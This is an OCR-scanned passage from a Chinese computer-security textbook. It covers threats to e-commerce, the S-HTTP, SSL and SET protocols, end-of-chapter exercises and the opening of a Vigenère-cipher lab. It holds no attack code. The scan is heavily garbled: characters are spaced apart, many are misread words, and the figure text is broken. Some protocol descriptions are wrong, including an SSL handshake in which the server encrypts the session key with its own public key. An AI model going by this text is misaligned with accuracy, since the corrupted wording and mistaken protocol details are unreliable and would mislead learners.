(1) 信息 的 截获 和 宅 取 。 如 果 没 有 采用 加 密 措 施 或 加 密 强 度 不 够 ,攻击 者 可 能 通过 互 
联网 .公共 电话 网 、 搭 线 、 电 磁 波 辐射 范围 内 安装 接收 装置 或 在 数据 包 通 过 的 网 关 和 路 由 器 
上 截获 数据 等 方式 ,获取 用 户 输入 的 机 密 信息 或 通过 对 信息 流量 和 流向 、 通 信 频 度 和 长 度 等 
参数 的 分 析 , 推 出 有 用 信息 。 例 如 消费 者 的 银行 账号 、 密 码 以 及 企业 的 商业 机 密 等 。 
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(2) 信息 的 自 改 。 当 攻击 者 熟悉 了 网 络 信息 格式 以 后 ,通过 各 种 技术 方法 和 手段 对 网 
络 传输 的 信息 进行 中 途 修改 ,并 发 往 目的 地 ,从 而 破坏 信息 的 完整 性 。 这 种 破坏 手段 主要 有 
3 个 方面 : 自 改 一 一 改变 信息 流 的 次 序 , 更 改 信息 的 内 容 ,如 购买 商品 的 出 货 地 址 ; 删 
除 一 一 删除 某 个 消息 或 消息 的 某 些 部 分 ;插入 一 在 消息 中 搬入 一 些 信息 ,让 收 方 读 不 懂 或 
接收 错误 的 信息 。 

(3) 信息 假冒 。 当 攻击 者 掌握 了 网 络 信 息 数据 规律 或 解密 了 商务 信息 以 后 ,可 以 假冒 
合法 用 户 或 发 送 假冒 信息 来 欺骗 其 他 用 户 ,主要 有 两 种 方式 。 一 是 虚 开 网 站 和 商店 ,给 用 户 
发 电子 邮件 , 收 订 货 单 , 窍 取 商 家 的 商品 信息 和 用 户 信用 等 信息 ;伪造 用 户 ,发 大 量 的 电子 邮 
件 , 耗 尽 商 家 资源 ,使 合法 用 户 不 能 正常 访问 网 络 资源 ,使 有 严格 时 间 要 求 的 服务 不 能 及 时 
得 到 响应 。 男 外 一 种 为 假冒 他 人 身份 ,如 冒充 领导 发 布 命 令 、 调 阅 密 件 ;冒充 他 人 消费 栽 
赃 ; 冒 充 主机 欺骗 合法 主机 及 合法 用 户 ; 冒 充 网 络 控制 程序 , 套 取 或 修改 使 用 权限 、 通 行 字 、 
密 钥 等 信息 ;接管 合法 用 户 ,欺骗 系统 ,占用 合法 用 户 的 资源 。 

(4) 交易 抵赖 。 交 易 抵赖 包括 多 个 方面 ,如 发 信者 事后 否认 曾经 发 送 过 某 条 信息 或 内 
容 ; 收 信者 事后 否认 曾经 收 到 过 某 条 消息 或 内 容 ; 购 买 者 做 了 订货 单 不 承认 ;商家 卖 出 的 商 
品 因 价 格 差 而 不 承认 原 有 的 交易 。 

电子 商务 面临 的 种 种 威胁 ,导致 了 对 电子 商务 安全 的 需求 。 一 个 安全 的 电子 商务 系统 
应 该 具备 : 机 密 性 、 完 整 性 、 认 证 性 不 可 抵赖 性 和 有 效 性 。 

(1) 机 密 性 。 电 子 商务 作为 贸易 的 一 种 手段 ,其 信息 直接 代表 着 个 人 .企业 或 国家 的 商 
业 机 密 。 传 统 的 纸 面 贸易 都 是 通过 邮寄 封装 的 信件 或 通过 可 靠 的 通信 渠道 发 送 商业 报 文 来 
达到 保守 机 密 的 目的 。 电 子 商务 是 建立 在 一 个 较为 开放 的 网 络 环境 上 的 (尤其 Internet 是 
更 为 开放 的 网 络 ) ,维护 商业 机 密 是 电子 商务 全 面 推广 应 用 的 重要 保障 。 因 此 ,要 预防 非法 
的 信息 存 取 和 信息 在 传输 过 程 中 被 非法 窃取 。 机 密 性 一 般 是 通过 密码 技术 对 传输 的 信息 进 
行 加 密 处 理 实现 的 。 

(2) 完整 性 。 电 子 商务 简化 了 贸易 过 程 ,减少 了 人 为 的 干预 ,同时 也 带 来 维护 贸易 各 方 
商业 信息 的 完整 .统一 的 问题 。 由 于 数据 输入 时 的 意外 差错 或 欺诈 行为 ,可 能 导致 贸易 各 方 
信息 的 差异 。 此 外 ,数据 传输 过 程 中 信息 的 丢失 、 信 息 重 复 或 信息 传送 的 次 序 差异 也 会 导致 
贸易 各 方 信息 的 不 同 。 贸 易 各 方 信息 的 完整 性 将 影响 到 贸易 各 方 的 交易 和 经 营 策略 ,保持 
贸易 各 方 信 息 的 完整 性 是 电子 商务 应 用 的 基础 。 因 此 ,要 预防 对 信息 的 随意 生成 、 修 改 和 删 
除 , 同 时 要 防止 数据 传送 过 程 中 信息 的 丢失 和 重复 并 保证 信息 传送 次 序 的 统一 。 完 整 性 一 
般 可 通过 提取 信息 消息 摘要 的 方式 来 获得 。 

(3) 认证 性 。 由 于 网 络 电 子 商务 交易 系统 的 特殊 性 ,企业 或 个 人 的 交易 通常 都 是 在 虚 
拟 的 网 络 环境 中 进行 ,所 以 对 个 人 或 企业 实体 进行 身份 确认 成 了 电子 商务 中 很 重要 的 一 环 。 
对 人 或 实体 的 身份 进行 鉴别 ,为 身份 的 真实 性 提供 保证 , 即 交 易 双 方 能 够 在 相互 不 见面 的 情 
况 下 确认 对 方 的 身份 。 这 意味 着 当 某 人 或 实体 声称 具有 某 个 特定 的 身份 时 ,鉴别 服务 将 提 
供 一 种 方法 来 验证 其 声明 的 正确 性 ,一 般 都 是 通过 证 书 机 构 CA 和 证 书 来 实现 。 

(4) 不 可 抵赖 性 。 电 子 商 务 可 能 直接 关系 到 贸易 双方 的 商业 交易 ,如 何 确定 要 进行 交 
易 的 贸易 方正 是 进行 交易 所 期 望 的 贸易 方 ,这 一 问题 则 是 保证 电子 商务 顺利 进行 的 关键 。 
在 传统 的 纸 面 贸易 中 ,贸易 双方 通过 在 交易 合同 、 契 约 或 贸易 单据 等 书面 文件 上 手写 签名 或 
印章 来 鉴别 贸易 伙伴 ,确定 合同 、 契 约 ` 单 据 的 可 靠 性 并 预防 抵赖 行为 的 发 生 。 这 也 就 是 人 
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们 常 说 的 “ 白 纸 黑 字 ”。 在 无 纸 化 的 电子 商务 方式 下 ,通过 手写 签名 和 印章 进行 贸易 方 的 鉴 
别 已 是 不 可 能 的 。 因 此 ,要 在 交易 信息 的 传输 过 程 中 为 参与 交易 的 个 人 企业 或 国家 提供 可 
靠 的 标识 。 不 可 抵赖 性 可 通过 对 发 送 的 消息 进行 数字 签名 来 获取 。 

(5) 有 效 性 。 电 子 商务 以 电子 形式 取代 了 纸张 ,那么 如 何 保证 这 种 电子 形式 的 贸易 信 
息 的 有 效 性 则 是 开展 电子 商务 的 前 提 。 电 子 商 务 作为 贸易 的 一 种 形式 ,其 信息 的 有 效 性 将 
直接 关系 到 个 人 .企业 或 国家 的 经 济 利益 和 声誉 。 因 此 ,要 对 网 络 故障 、 操 作 错 误 、 应 用 程序 
错误 ,硬件 故障 、 系 统 软 件 错误 及 计算 机 病毒 所 产生 的 潜在 威胁 加 以 控制 和 预防 ,以 保证 贸 
易 数 据 在 确定 的 时 刻 、 确 定 的 地 点 是 有 效 的 。 

电子 商务 安全 从 整体 上 可 分 为 两 大 部 分 : 计算 机 网 络 安全 和 商务 交易 安全 。 

(1) 计算 机 网 络 安全 的 内 容 包 括 : 计算 机 网 络 设备 安全 .计算 机 网 络 系统 安全 ,数据库 
安全 等 。 计 算 机 网 络 安全 是 商务 交易 安全 的 基础 ,一 个 完整 的 电子 商务 系统 应 建立 在 安全 
的 网 络 基 础 设施 之 上 。 

(2) 商务 交易 安全 保障 电子 商务 过 程 的 顺利 进行 , 即 实现 电子 商务 的 保密 性 、 完 整 性 、 
可 鉴别 性 ,不 可 伪造 性 和 不 可 抵赖 性 。 


8.5.2 网 上 交易 安全 协议 


近年 来 ,针对 电子 交易 安全 的 要 求 ,IT 业界 与 金融 行业 一 起 推出 了 不 少 有 效 的 安全 交 
易 标准 和 技术 。 下 面 介绍 几 种 主要 的 网 上 交易 安全 协议 。 

1. 安全 超 文本 传输 协议 (S-HTTP) 

S-HTTP 是 一 种 面向 安全 信息 通信 的 协议 , 它 可 以 和 HTTP 结合 起 来 使 用 。S-HTTP 
能 与 HTTP 信息 模型 共存 并 易于 与 HTTP 应 用 程序 相 整合 。 

S-HTTP 协议 为 HTTP 客户 机 和 服务 器 提供 了 多 种 安全 机 制 ,提供 安全 服务 选项 是 为 
了 适用 于 万 维 网 上 各 类 潜在 用 户 。S-HTTP 为 客户 机 和 服务 器 提供 了 相同 的 性 能 (同等 对 
待 请 求 和 应 答 ,也 同等 对 待 客户 机 和 服务 器 ) ,同时 维持 HTTP 的 事务 模型 和 实施 特征 。 

S-HTTP 客户 机 和 服务 器 能 与 某 些 加 密 信息 格式 标准 相 结 合 。S-HTTP 支持 多 种 兼 
容 方 案 并 且 与 HTTP 相 兼 容 。 使 用 S-HTTP 的 客户 机 能 够 与 没有 使 用 S-HTTP 的 服务 器 
连接 ,反之 亦 然 ,但 是 这 样 的 通信 明显 地 不 会 利用 S-HTTP 安全 特征 。 

S-HTTP 不 需要 客户 端 公用 密 钥 认证 (或 公用 密 钥 ) ,但 它 支持 对 称 密 钥 的 操作 模式 。 

S-HTTP 支持 端 对 端 安 全 事务 通信 。 客 户 机 可 能 “首先 ”启动 安全 传输 (使 用 报头 的 信 
息 ), 例 如 它 可 以 用 来 支持 已 填 表 单 的 加 密 。 使 用 S-HTTP 敏感 的 数据 信息 不 会 以 明文 形 
式 在 网 络 上 发 送 。 

S-HTTP 提供 了 完整 且 灵 活 的 加 密 算法 、 模 态 及 相关 参数 。 此 句 话 正确 用 来 决定 客户 
机 和 服务 器 在 事务 模式 、 加 密 算法 (用 于 签名 的 RSA 和 DSA, 用 于 加 密 的 DES 和 RC2 等 ) 
及 证 书 选择 方面 取得 一 致意 见 。 

S-HTTP 相对 HTTP 扩充 了 安全 特性 , 它 增加 了 报 文 的 安全 性 , 它 是 基于 SSL 技术 
的 。 该 协议 向 WWW 的 应 用 提供 完整 性 .认证 .不 可 抵赖 性 及 机 密 性 等 安全 措施 。 它 依靠 
密 钥 对 的 加 密 ,保障 Web 站 点 间 的 交易 信息 传输 的 安全 性 。 

S-HTTP 定义 在 IETF(http://www. ietf. org) 的 RFC 2660 中 。 
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2. 安全 套 接 层 协 议 (SSL) 

Netscape 公司 推出 Web 浏览 器 时 ,提出 了 SSL (secure socket layer) 安 全 通信 协议 ， 
SSL 协议 目前 已 成 为 Internet 上 保密 通信 的 工业 标准 。 现 行 Web 浏览 器 普遍 将 HTTP 和 
SSL 相 结 合 , 来 实现 安全 通信 。 

(1) SSL 的 安全 机 制 。 

SSL 是 以 公 钥 结构 为 基础 的 网 络 安全 解决 方案 ,是 由 Netscape 公司 提出 的 一 种 建立 在 
网 络 传输 层 TCP 协议 之 上 的 安全 协议 标准 ,用 来 在 客户 端 和 服务 器 之 间 建 立 安全 的 TCP 
连接 ,向 基于 TCP/IP 协议 的 客户 机 /服务 器 应 用 程序 提供 客户 端 和 服务 器 的 验证 、 数 据 完 
整 性 及 信息 保密 性 等 安全 措施 。 

SSL 采用 TCP 作为 传输 协议 提供 数据 的 可 靠 传送 和 接收 。 如 图 8-15 所 示 ,SSL 工作 
在 Socket 层 上 ,因此 独立 于 更 高 层 应 用 ,可 为 更 高 层 协议 (如 HTTP,Telnet 等 ) 提 供 安全 服 
务 。 这 种 安全 服务 采用 了 公 钥 和 私 钥 两 种 加 密 体 制 , 对 服务 器 和 客户 端 同时 提供 保密 性 、 数 
据 完整 性 和 认证 。 


HTTP, FTP, LDAP 等 | 应 用 层 ”| HTTP, FTP, LDAP 等 


SSL 据 手 协议 。 | 、”，，| SSL 所 手 协议 
SSL 记 录 协 议 “人 | SSL 记 录 协 议 


TCP/IP TCP/IP 


图 8-15 ”SSL 协议 


SSL 采用 公开 密 钥 技术 。 其 目标 是 保证 两 个 应 用 间 通 信 的 保密 性 和 可 靠 性 ,可 在 服务 
器 和 客户 机 两 端 同时 实现 支持 。 它 能 使 客户 机 /服务 器 应 用 之 间 的 通信 不 被 攻击 者 窃听 ,并 
且 始 终 对 服务 器 进行 认证 ,还 可 选择 对 客户 进行 认证 。SSL 协议 要 求 建立 在 可 靠 的 传输 层 
协议 (例如 TCP) 之 上 。SSL 协议 的 优势 在 于 它 是 与 应 用 层 协议 独立 无 关 的 ,高 层 的 应 用 层 
协议 (例如 HTTP,FTP,Telnet) 能 透明 地 建立 于 SSL 协议 之 上 。SSL 协议 在 应 用 层 协议 
通信 之 前 就 已 经 完成 加 密 算法 .通信 密 钥 的 协商 以 及 服务 器 认证 工作 。 

SSL 协议 允许 支持 SSL 协议 的 服务 器 与 一 个 支持 SSL 协议 的 客户 机 相互 认证 ,还 允许 
这 两 个 机 器 间 建 立 加 密 连 接 , 提 供 连 接 可 靠 性 。 

SSL 服务 器 认证 允许 用 户 确认 服务 器 身份 。 支 持 SSL 协议 的 客户 机 软件 能 使 用 公 钥 
密码 标准 技术 (如 用 RSA 和 DSS 等 ) 检 查 服务 器 证 书 、 公 用 ID 是 否 有 效 和 是 否 由 在 客户 信 
任 的 认证 机 构 CA 列表 内 的 认证 机 构 发 放 。 

SSL 客户 机 认证 允许 服务 器 确认 用 户 身 份 。 使 用 应 用 于 服务 器 认证 同样 的 技术 ,支持 
SSL 协议 的 服务 器 软件 能 检查 客户 证 书 、 公 用 ID 是 否 有 效 和 是 否 由 在 服务 器 信任 的 认证 
机 构 列 表 内 的 认证 机 构 发 放 。 

(2) SSL 的 工作 机 制 。 

SSL 的 工作 机 制 如 下 所 示 。 

。 客户 机 向 服务 器 提出 请 求 ,要 求 建立 安全 通信 连接 
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客户 机 与 服务 器 进行 协商 ,确定 用 于 保证 安全 通信 的 加 密 算法 和 强度 。 
服务 器 将 其 服务 器 证 书 发 送 给 客户 端 。 该 证 书包 含 服 务 器 的 公 钥 ,并 用 CA 的 私 钥 
加 密 。 
客户 机 使 用 CA 的 公 钥 对 服务 器 证 书 进行 解密 ,获得 服务 器 公 钥 。 客 户 机 产生 用 来 
创建 会 话 密 钥 的 信息 ,并 用 服务 器 公 钥 加 密 , 然 后 发 送 到 服务 器 。 
服务 器 使 用 自己 的 私 钥 解 密 该 消息 ,然后 生成 会 话 密 钥 ,接着 使 用 服务 器 公 钥 加 密 ， 
再 发 送 给 客户 机 。 这 样 , 服 务 器 和 客户 机 都 拥有 了 会 话 密 钥 。 
服务 器 和 客户 机 使 用 会 话 密 钥 来 加 密 和 解密 传输 的 数据 。 它 们 之 间 的 数据 传输 是 
对 称 加 密 的 。 

SSL 协议 建立 在 传输 层 和 应 用 层 之 间 ,包括 两 个 子 协 议 : SSL 记录 协议 和 SSL 握手 协 
议 ,其 中 记录 协议 在 握手 协议 下 端 。 记 录 协 议定 义 了 要 传输 数据 的 格式 , 它 位 于 TCP 协议 
之 上 ,从 高 层 SSL 子 协 议 收 到 数据 后 ,进行 封装 、 压 缩 、 认 证 和 加 密 。SSL 握手 协议 是 位 于 
SSL 记录 协议 之 上 的 最 重要 的 子 协议 ,被 SSL 记录 协议 所 封装 。 该 协议 允许 服务 器 与 客户 
机 在 应 用 程序 传输 和 接收 数据 之 前 互相 认证 ,协商 加 密 算 法 和 密 钥 ,SSL 握手 协议 包括 在 
初次 建立 SSL 连接 时 使 用 SSL 记录 协议 在 支持 SSL 协议 的 服务 器 与 支持 SSL 协议 的 客户 
机 之 间 交 换 的 一 系列 信息 。 

基于 SSL 的 银行 卡 支付 过 程 如 下 。 
持 卡 人 登录 商品 发 布 站 点 ,验证 商户 身份 。 
持 卡 人 决定 购买 ,向 商户 发 出 购买 请 求 。 
商户 返回 同意 支付 等 信息 。 
持 卡 人 验证 支付 网 关 的 身份 ,填写 支付 信息 ,将 订购 信息 和 支付 信息 通过 SSL 传 给 
商户 ,但 支付 信息 被 支付 网 关 的 公开 密 钥 加 密 过 ,对 商户 来 说 是 不 可 读 的 。 
商户 用 支付 网 关 的 公开 密 钥 加 密 支 付 信 息 等 , 传 给 支付 网 关 , 要 求 支 付 。 
支付 网 关 解 密 商 户 传 来 的 信息 ,通过 传统 的 银行 网 络 到 发 卡 行 验证 持 卡 人 的 支付 信 
息 是 否 有 效 , 并 即时 划 账 。 
支付 网 关 用 它 的 私有 密 钥 加 密 结果 ,把 结果 返回 商户 。 
商户 用 支付 网 关 的 公开 密 钥 解密 后 返回 信息 给 持 卡 人 , 送 货 ,交易 结束 。 

SSL 的 缺陷 是 无 法 知道 在 传输 过 程 中 是 否 受 到 窃听 ;SSL 产品 的 出 口 受到 美国 政府 限 
制 ,我 国 的 SSL 产品 只 能 提供 512 比特 RSA 公 钥 和 40 比特 对 称 密 钥 加 密 , 加 密 强度 不 够 ; 
SSL 协议 将 客户 的 信用 卡号 传送 给 商家 ,容易 被 心术 不 正 的 商家 欺诈。 新 的 SSL 协议 被 命 
名 为 TLS(transpot layer security) ,安全 可 靠 性 有 所 提高 ,但 仍 不 能 消除 原 有 技术 上 的 基本 
缺陷 。 

3. 安全 电子 交易 协议 (SET ,secure electronic transaction) 

SET(secure electronic transaction, 即 安全 电子 交易 协议 ) 是 美国 Visa 和 MasterCard 
两 大 信用 卡 组 织 等 联合 于 1997 年 5 月 31 日 推出 的 用 于 电子 商务 的 行业 规范 ,其 实质 是 一 
种 应 用 在 Internet 上 、 以 信用 卡 为 基础 的 电子 付款 系统 规范 ,目的 是 为 了 保证 网 络 交易 的 安 
全 。SET 受 善 地 解决 了 信用 卡 在 电子 商务 交易 中 的 交易 协议 、 信 息 保密 、 资 料 完整 以 及 身 
份 认 证 等 问题 。SET 已 获得 IETF 标准 的 认可 ,是 电子 商务 的 发 展 方向 。 
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(1) SET 支付 系统 的 组 成 

SET 支付 系统 主要 由 持 卡 人 (cardholder) 商家 (merchant) ,发 卡 行 (issuing bank) 、 收 
单行 (acquiring bank)、 支 付 网 关 (payment gateway)、 认 证 中 心 (certificate authority ) 等 
6 个 部 分 组 成 。 对 应 地 ,基于 SET 协议 的 网 上 购物 系统 至 少 包 括 电 子 钱包 软件 、 商 家 软件 、 
支付 网 关 软 件 和 签发 证 书 软件 。 

(2) SET 协议 用 于 在 线 支付 的 工作 流程 

@ 持 卡 人 向 认证 中 心 申 请 自己 的 数字 签名 。 

@ 证 书 ,电子 商家 、 支 付 网 关 分 别 向 认证 中 心 申 请 自己 的 签名 数字 证 书 和 交换 密 钥 数 
字 证 书 。 

@ 持 卡 用 户 在 网 上 浏览 到 所 需 商 品 , 填 写 好 订单 发 给 网 上 的 商家 ,同时 将 自己 从 认证 
中 心 获 得 的 证 书 发 给 商家 ,以 证 实 自己 的 真实 身份 。 

@ 网 上 商家 收 到 用 户 的 订单 后 ,到 认证 中 心 验证 用 户 的 身份 是 否 正 确 , 若 正确 , 则 向 用 
户 发 出 确认 信息 ,同时 将 自己 从 认证 中 心 获 得 的 证 书 和 支付 网 关 的 证 书 发 给 持 卡 用 户 。 

@ 持 卡 用 户 验 证 网 上 商家 和 支付 网 关 的 身份 正确 与 否 , 若 正确 , 则 向 商家 发 出 订购 指 
令 ,并 将 支付 指令 发 给 网 上 商家 ,让 商家 将 支付 指令 转发 给 支付 网 关 。 

@ 网 上 商家 向 支付 网 关 发 出 支付 请 求 ,同时 将 用 户 发 来 的 支付 指令 转发 给 支付 网 关 。 

@ 支付 网 关 通 过 银行 专用 网 验证 用 户 卡 的 信息 ,无 误 后 向 电子 商家 发 出 支付 响应 。 

@ 电子 商家 向 持 卡 人 发 出 确认 订单 信息 ,标志 此 次 网 上 交易 的 成 功 。 

(3) SET 协议 安全 性 分 析 

由 于 网 上 交易 双方 并 不 谋面 的 特殊 性 ,安全 性 就 显得 特别 的 重要 。 在 SET 协议 中 安全 
性 主要 体现 在 以 下 几 个 方面 。 

。 机密 性 : 在 SET 协议 的 框架 下 ,所 有 的 信息 都 是 加 密 传输 的 。 特 别 是 双重 数字 签名 
技术 的 引入 ,不 仅 满足 了 数据 的 加 密 传输 ,还 保证 只 让 应 该 看 到 某 信息 的 主体 看 到 
信息 。 也 就 是 说 虽然 支付 信息 是 通过 商家 传 给 银行 的 ,但 是 商家 却 看 不 到 支付 信 
息 。 订 单 信息 虽然 也 传 给 了 银行 ,但 是 银行 却 看 不 到 订单 信息 ,只 能 看 到 支付 信息 。 
数据 完整 性 : 在 SET 协议 的 框架 下 ,所 有 的 数据 传输 前 都 会 产生 一 个 散 列 值 ( 即 
HASH 值 ) ,数据 和 其 散 列 值 之 间 是 一 一 对 应 的 关系 ,信息 的 任何 改变 都 会 导致 散 
列 值 的 改变 。 散 列 值 加 密 后 和 消息 一 起 传输 ,以 便 接 收 者 验证 消息 在 传输 过 程 中 是 
否 被 改变 。 

不 可 否认 性 : 由 于 交易 双方 在 发 出 信息 时 是 经 过 自己 的 私 钥 作 过 数字 签名 的 ,而 私 
钥 只 有 用 户 自己 保管 ,因此 ,可 以 认为 只 有 拥有 该 私 钥 的 人 才能 发 出 经 过 其 数字 签 
名 的 信息 , 即 保证 了 消息 的 不 可 否认 性 。 


8.5.3 安全 电子 交易 


随 着 互联 网 的 迅猛 发 展 ,网 上 交易 日 益 成 为 新 的 商务 模式 ,基于 网 络 资源 的 电子 商务 交 
易 已 被 大 众 接 受 。 在 享受 网 上 交易 带 来 便捷 的 同时 ,交易 的 安全 性 备 受 关注 ,网 络 所 固有 的 
开放 性 与 资源 共享 性 导致 网 上 交易 的 安全 性 受到 严重 威胁 。 因 此 ,网 络 信息 安全 性 就 成 了 
电子 商务 成 功 发 展 的 关键 因素 。 目 前 ,电子 商务 过 程 中 主要 采用 的 安全 技术 有 加 密 技术 、 认 
证 技术 和 安全 认证 协议 。 
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1. 加 密 技 术 

加 密 技 术 是 一 种 主动 的 信息 安全 防范 措施 ,其 原理 是 利用 一 定 的 加 密 算法 ,将 明文 转换 
成 为 无 意义 的 密 文 ,阻止 非法 用 户 理解 原始 数据 ,从 而 确保 数据 的 保密 性 。 在 加 密 和 人 解密 的 
过 程 中 ,由 加 密 者 和 人 解密 者 使 用 的 加 解密 可 变 参数 叫做 密 钥 。 目前 ,获得 广泛 应 用 的 两 种 加 
密 技 术 是 对 称 密 钥 加 密 体制 和 非 对 称 密 钥 加 密 体制 。 

2. 认证 技术 

安全 认证 的 主要 作用 是 进行 信息 认证 。 主 要 包括 安全 认证 技术 和 安全 认证 机 构 两 个 方 
面 。 安 全 认证 技术 主要 有 数字 摘要 .数字 信封 数字 签名 .数字 时 间 戳 .数字 证 书 等 ; 电子 商 
务 认证 中 心 就 是 承担 网 上 安全 交易 认证 服务 ,能 签发 数字 证 书 ,并 能 确认 用 户 身 份 的 服务 
机 构 。 

3. 安全 认证 协议 

电子 商务 中 有 两 种 安全 认证 协议 被 广泛 使 用 , 即 安全 套 接 层 SSL 协议 和 安全 电子 交易 
SET 协议 。SSL 协议 一 般 服 务 于 银行 对 企业 或 企业 对 企业 的 电子 商务 。SET 协议 位 于 应 
用 层 , 用 来 保证 互联 网 上 银行 卡 支付 交易 安全 性 。 所 以 SET 一 般 服务 于 持 卡 消费 .网 上 购 
物 的 电子 商务 。 

安全 电子 交易 的 参与 方 包括 客户 、 商 家 、 认 证 中 心 、 商 业 银 行 和 支付 网 关 。 参 与 电子 商 
务 交易 的 各 方 , 都 必须 拥有 CA( 即 数字 证 书 认证 中 心 ,certification authority) 所 发 放 的 数字 
证 书 。 数 字 证 书包 含 了 证 书 拥有 者 的 信息 和 所 签发 证 书 的 CA 的 相关 信息 ,该 证 书 既 可 以 
对 信息 进行 加 密 , 又 可 以 用 于 签名 , 它 保证 了 信息 传输 的 机 密 性 、 真 实 性 、 完 整 性 和 交易 的 不 
可 否认 性 。CA 作为 独立 的 、 客 观 的 .公正 的 .可 信赖 的 第 三 方 机 构 , 专 门 为 参与 网 上 交易 各 
方 提 供认 证 服务 。 参 与 网 上 交易 的 各 方 通过 彼此 验证 证 书 ,确认 对 方 的 身份 ,防止 欺诈 ,从 
而 保证 了 交易 的 安全 。 参 与 交易 的 各 方 及 交易 流程 如 图 8-16 所 示 。 


协商 /一 -一 审核 审核 汪 
客户 条 计 | 商家 一 而 并 支付 网 关 而 并 商业 银行 


图 8-16 参与 电子 交易 各 方 及 交易 流程 图 


安全 电子 交易 具有 下 列 特性 : 保证 信息 的 保密 性 、 保 证 数据 的 完整 性 、 验 证 商户 和 持 卡 
人 。 其 中 ,验证 用 户 身 份 时 使 用 消费 者 的 电子 证 书 与 数字 签 章 来 验证 消费 者 ,使 用 经 销 商 的 
电子 证 书 与 数字 签 章 来 验证 经 销 商 。 由 认证 中 心 ( 即 CA) 对 交易 各 方 身份 进行 认证 。 认 证 
过 程 分 为 : 
。 卡 用 户 账号 的 鉴别 。 安 全 电子 交易 使 得 商家 能 够 验证 卡 用 户 是 有 效 的 卡 账号 的 合 
法 用 户 。 
。 商家 的 鉴别 。 安 全 电子 交易 使 得 卡 用 户 可 以 验证 商家 与 金融 机 构 存 在 某 种 关系 ,人 允 
许 它 接受 支付 信用 卡 。 
总 体 来 说 ,安全 电子 交易 就 是 一 个 基于 可 信 的 第 三 方 认证 中 心 的 方案 , 它 要 实现 的 主要 
目标 有 下 列 3 个 方面 : 保障 付款 安全 、 确 定 应 用 的 互通 性 、 达 到 全 球 市 场 的 接受 性 。 安 全 电 
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子 交 易 使 用 SET 协议 保证 了 电子 交易 的 机 密 性 .数据 完整 性 .身份 的 合法 性 和 不 可 否认 人 性， 
8.5 本 章 小 结 


互联 网 技术 的 普及 为 人 们 的 工作 生活 带 来 了 极 大 的 便利 , 随 着 电子 商务 的 不 断 发 展 , 这 
种 联系 将 不 断 地 加 深 。 因 此 ,本 章 对 Internet/Intranet 内 部 构造 和 提供 的 服务 中 隐 含 的 各 
种 安全 问题 进行 了 全 面 的 揭示 ,以 期 引起 读者 对 网 络 安全 维护 的 重视 。 

在 Internet 提供 的 服务 中 ,Web 服务 FTP 服务 .电子 邮件 服务 和 IE 浏览 器 是 应 用 最 
多 的 服务 ,在 安全 上 也 最 容易 出 问题 ,因此 ,应 该 掌握 它们 的 安全 机 制 ,增强 安全 防范 措施 。 


练 习 题 


基础 练习 题 


1. Internet 脆弱 性 表现 在 什么 问题 上 ? 

2. Intranet 与 Internet 相 比 在 安全 问题 上 各 有 何 异同 ? 

3. TCP/IP 协议 上 的 各 个 主要 服务 的 缺陷 是 什么 ? 

4. 在 网 站 中 的 网 页 设计 采用 了 哪些 新 的 网 络 技术 ,它们 给 网 络 安全 带 来 了 哪些 问题 ? 
在 IE 浏 览 器 中 怎样 解决 ? 

5. 使 用 Cookie 技术 有 什么 作用 ? 

6. 发 布 和 设计 ActiveX 在 安全 上 应 采取 哪些 管理 措施 ? 

7. 电子 邮件 的 工作 原理 是 什么 ? 它 带 来 了 哪些 安全 风险 ? 

8. Outlook Express 从 哪 几 个 方面 保证 电子 邮件 的 安全 ? 

9. IIS 的 安全 机 制 是 什么 ? 


实践 题 
如 何 为 Web 站 点 提供 文件 夹 安全 访问 ? 
讨论 与 思考 题 * 


1. 安全 电子 交易 的 认证 方式 和 机 制 都 有 哪些 ? 
2. 电子 商务 的 安全 性 应 该 从 哪些 方面 来 考虑 ? 
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第 9 章 计算 机 网 络 安全 的 实 训 问 题 
9.1 实 训 说 明 


1. 实 训 目的 

实 训 课程 是 一 门 实践 性 很 强 的 课程 ,开设 本 章 实 训 主 要 为 配合 前 面 讲述 的 计算 机 网 络 
安全 的 相关 理论 知识 ,以 此 为 基础 进行 一 系列 的 实际 安全 配置 。 

在 本 章 实 训 的 学 习 和 实践 过 程 中 ,学 生 以 解决 实际 问题 为 主线 ,进行 相关 实际 网 络 的 安 
全 配置 和 提出 系统 防范 措施 。 

设置 本 章 实 训 的 主要 目的 ， 

(1) 在 实践 过 程 中 ,使 学 生 进一步 巩固 计算 机 网 络 安全 课程 所 学 知识 ,更 加 深入 地 了 解 
计算 机 网 络 系 统 中 所 采取 的 安全 措施 、 网 络 系统 漏洞 黑客 技术 和 防范 措施 等 相关 技术 。 

(2) 指导 学 生 利 用 获取 信息 的 手段 进一步 获取 新 知识 ,以 解决 实 训 过 程 中 遇 到 的 技术 
难点 ,从 中 提高 自学 能 力 。 

(3) 按照 网 络 安全 的 相关 基本 要 求 引导 学 生 完成 实 训 课题 ,以 便 学 生 了 解 网 络 系统 安 
全 和 配置 的 几 个 重要 环节 。 

(4) 提高 学 生 的 实际 动手 能 力 ,使 学 生 对 网 站 中 各 个 网 络 系统 的 安全 配置 更 熟练 ,为 学 
生 从 业 打 下 良好 的 基础 。 

(5) 培养 学 生 分 工 协作 的 团队 精神 。 

2. 实 训 内 容 安排 说 明 

本 章 实 训 内 容 涵盖 了 网 络 安全 的 各 个 方面 的 理论 知识 ,由 于 各 学 校 的 课时 安排 及 学 生 
的 层次 各 有 差异 ,有 些 内 容 可 以 不 要 求学 生 和 掌握, 但 考虑 教材 的 完整 性 , 仍 保留 在 本 教材 中 ， 
冠 以 “x* ” 供 各 学 校 选择 。 

以 下 的 每 一 个 实 训 学 时 要 求 为 2~4 小 时 ,最 好 集中 安排 。 


9.2 实 训 问题 


实 训 1 使 用 费 杰 尔 算法 进行 编程 


1. 实 训 目的 

要 求学 生 掌 握 密码 技术 中 的 相关 算法 编程 ,掌握 密码 技术 的 作用 和 保护 信息 资源 的 
方法 。 

2. 实 训 要 求 

(1) 掌握 费 杰 尔 加 密 和 解密 算法 。 

(2) 学 习 用 相关 计算 机 语言 编写 密码 程序 。 

3. 实验 内 容 

要 求 用 计算 机 语言 (例如 C 语言 或 BASIC 语言 ) 编 写 一 个 加 密 程 序 和 解密 程序 ,算法 为 
.320 。 


费 杰 尔 加 密 算法 ,其 中 当 加 密 程 序 运行 时 ,要 求 输入 一 个 内 容 为 字母 组 成 的 文本 文件 和 密 
钥 , 得 到 一 个 密 文 文本 文件 。 当 解密 程序 运行 时 ,输入 你 刚才 得 到 的 密 文 文本 文件 和 密 钥 ， 
得 到 一 个 解密 文本 文件 。 

例如 : 加 密 程 序 为 jiam. exe, 解 密 程序 为 jiem. exe, 算法 为 费 杰 尔 加 密 算法 。 

